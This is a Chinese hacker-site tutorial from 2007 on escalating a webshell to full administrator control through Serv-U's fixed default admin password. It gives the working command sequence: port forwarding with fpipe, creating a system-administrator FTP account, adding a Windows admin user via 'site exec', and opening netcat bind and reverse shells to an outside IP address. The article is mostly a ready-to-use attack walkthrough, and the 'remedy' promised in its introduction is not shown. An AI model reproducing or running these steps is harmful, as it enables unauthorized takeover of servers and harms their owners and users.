利用Serv-U自身缺陷提升 Webshell权限 || 中国X黑客小组


	您现在的位置：中国X黑客小组 >> 技术文章 >> 黑客技术 >> 黑客教学 >> 文章正文	用户登录新用户注册

利用Serv-U自身缺陷提升 Webshell权限

热

【字体：小大】

利用Serv-U自身缺陷提升 Webshell权限

作者：佚名文章来源：网络点击数：更新时间：2007-7-27

笔者再次要详细说的是Webshell+Serv-U获取系统最高权限的方法及补救方法。

原理

Serv-U默认监听127.0.0.1:43958，在本机才能连接这个管理端口，Serv-U默认管理账号是LocalAdministrator，默认密码是"#l@$ak#.lk;0@P"，这个密码是固定的。在目标机器上运行fpipe -v -l 12345 -r 43958 127.0.0.1，然后在你自己的机器，用"Serv-U administrator"新建SERVER：

目标IP：12345 

User：LocalAdministrator 

Pass："#l@$ak#.lk;0@P"

那么目标机器的Serv-U就归你管了。

利用的前提：要有目标机器的普通权限的SHELL，不需要能终端或物理控制台登录，只要有个shell，能运行端口数据转发的程序就可以了。

如何得到一个shell:sql注射得到Webshell或者直接利用动网7.0 sp2以下的上传漏洞上传Webshell。

具体实施方法

1.利用得到的Webshell上传转向程序fpipe，然后执行fpipe -v -l 12345 -r 43958 127.0.0.1。

2 .在你自己的机器，用"Serv-U administrator"新建SERVER，依次填入：

IP：目标IP 

端口 ：12345 

User：LocalAdministrator 

Pass："#l@$ak#.lk;0@P"

现在你就可以管理这台服务器的Serv-U了，新建一个账号，权限为系统管理员(system administrator)，并在"目录访问(Dir access)"选项中给予"执行"权限(execute).

3. ftp连接，然后执行quote site exec net user iisuser password /add 添加一个用户名为iisuser密码为password的用户，加到管理员组 quote site exec net localgroup administrators iisuser /add，现在就可以连接终端并登录了。　

当然也可以进行别的操作，例如上传一个nc.exe，在目标机器上得到一个管理员权限的shell，可以正向连接，也可以反向连接。　

正向连接：连上ftp以后执行

quote site exec nc.exe -l -p 23 -t -e cmd.exe

这时目标主机就成了一台telnet服务器，你可以telnet上目标服务器的23端口。　　

反向连接：假设你的IP是202.96.209.168。

1.先在自己的机器上运行(你要有一个外部IP)：nc -vv -lp 99

2.在目标机器上运行 nc -e cmd.exe 202.96.209.168　 99

在你的机器上就会得到一个目标机器的具有管理员权限的shell。

如果对方进行了端口过滤或者设置了防火墙的保护(这种保护不限制反弹连接，如果限制的话就要换别的方法呢)，可以用TCP SOCKET转发来实现。

文章录入：IceRiver 责任编辑：admin

上一篇文章：揭密如何关闭杀毒软件和安全产品

下一篇文章：网络攻击的几种攻击与防御手法

【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

最新热点		最新推荐		相关文章
				活地运用SQL Injection做数据利用最近热门的Xss漏洞能做什破解Session cookie的方法利用四种自制批处理文件防御 Skype登录故障成全雅虎Mess 利用xss漏洞能做什么？国家计算机病毒中心发现利用 Google Gadget存漏洞可被利利用木马程序盗账号3天从银行用Syskey命令加强Windows200

　网友评论：（只显示最新5条。评论内容只代表网友观点，与本站立场无关！）


关于我们 - 版权声明 - 帮助(？) - 广告服务 - 联系我们 - 友情链接 - 用户注册 -	Powered by ICE RIVER - STUDIO

» CnXHacker.CoM